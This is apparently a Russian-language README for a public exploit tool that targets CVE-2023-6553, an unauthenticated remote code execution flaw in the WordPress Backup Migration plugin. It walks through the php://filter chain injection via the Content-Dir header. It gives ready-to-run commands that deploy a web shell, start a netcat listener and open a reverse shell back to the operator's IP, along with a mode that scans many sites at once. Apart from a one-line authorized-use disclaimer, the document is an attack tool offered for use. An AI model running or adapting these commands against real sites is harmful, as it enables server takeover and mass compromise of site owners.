
Этот эксплойт основан на CVE-2023-6553 и построен на основе оригинального эксплойта от Chocapik; в него добавлена возможность получения прямого реверс-шелла.
Расширенная версия эксплойта Chocapikk для CVE-2023-6553, которая добавляет режим однокомандной обратной оболочки поверх исходной интерактивной веб-оболочки.
CVE-2023-6553 — неаутентифицированное удалённое выполнение кода в плагине Backup Migration для WordPress (версии ≤ 1.3.7).
Плагин открывает backup-heart.php, который считывает цепочку PHP-фильтров из HTTP-заголовка Content-Dir и передаёт её в include() без аутентификации или проверки. Это позволяет неаутентифицированному злоумышленнику выполнить произвольный PHP-код, внедрив специально сформированную цепочку php://filter.
Оригинальный эксплойт от Chocapikk — вся основная логика эксплуатации (генерация цепочек фильтров, запись файлов, интерактивная оболочка) является его работой. Этот репозиторий лишь дополняет его режимом запуска обратной оболочки.
Единственные дополнения:
trigger_reverse_shell() — после развёртывания веб-оболочки (тот же процесс, что и в оригинале) отправляет один GET-запрос с командой обратной оболочки в качестве параметра 0, точно так же, как это делает интерактивная оболочка.main() — замена interactive_shell() на trigger_reverse_shell(), когда присутствует флаг -r.Всё остальное — проверка уязвимости, цикл записи файлов, копирование/удаление, интерактивный режим, сканирование нескольких URL — остаётся без изменений по сравнению с оригиналом.
pip install requests rich alive-progress prompt-toolkit php-filter-chain
# Сначала запустите ваш слушатель
rlwrap nc -lvnp 4444
# Запустите эксплойт
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444
Если bash /dev/tcp недоступен на цели, используйте mkfifo (зависит от nc):
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444 --shell mkfifo
python3 exploit.py -u http://TARGET/blog
python3 exploit.py -u http://TARGET/blog -c
python3 exploit.py -f urls.txt -t 10 -o vulnerable.txt
-u / --url Базовый URL цели (например, http://target/blog)
-r / --revshell Включить режим обратной оболочки
-l / --lhost Ваш IP для получения оболочки (обязательно с -r)
-p / --lport Порт вашего слушателя (по умолчанию: 4444)
--shell Тип оболочки: bash (по умолчанию) или mkfifo
-c / --check Только проверка уязвимости, без развёртывания оболочки
-f / --file Файл со списком URL для сканирования
-t / --threads Потоки для сканирования нескольких URL (по умолчанию: 5)
-o / --output Выходной файл для результатов сканирования
1. POST /wp-content/plugins/backup-backup/includes/backup-heart.php
Content-Dir: php://filter/...<закодированный PHP>
→ Записывает веб-оболочку посимвольно во временный файл
→ Копирует временный файл в <random>.php
2. GET /wp-content/plugins/backup-backup/includes/<random>.php?0=<команда>
→ Выполняет команду через оператор обратных кавычек
→ Интерактивный режим: циклически читает команды из stdin
→ Режим обратной оболочки: отправляет однострочную команду bash/mkfifo, подключается к слушателю
3. Очистка: unlink(<random>.php)
Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований в области безопасности. Не используйте его против систем, на тестирование которых у вас нет явного разрешения.
| Функция | Оригинал (Chocapikk) | Эта версия |
|---|
| Интерактивная веб-оболочка | ✅ | ✅ (без изменений) |
| Обратная оболочка | ❌ | ✅ (-r) |
| Сканирование нескольких URL | ✅ | ✅ (без изменений) |
| Новые аргументы | — | -r, -l, -p, --shell |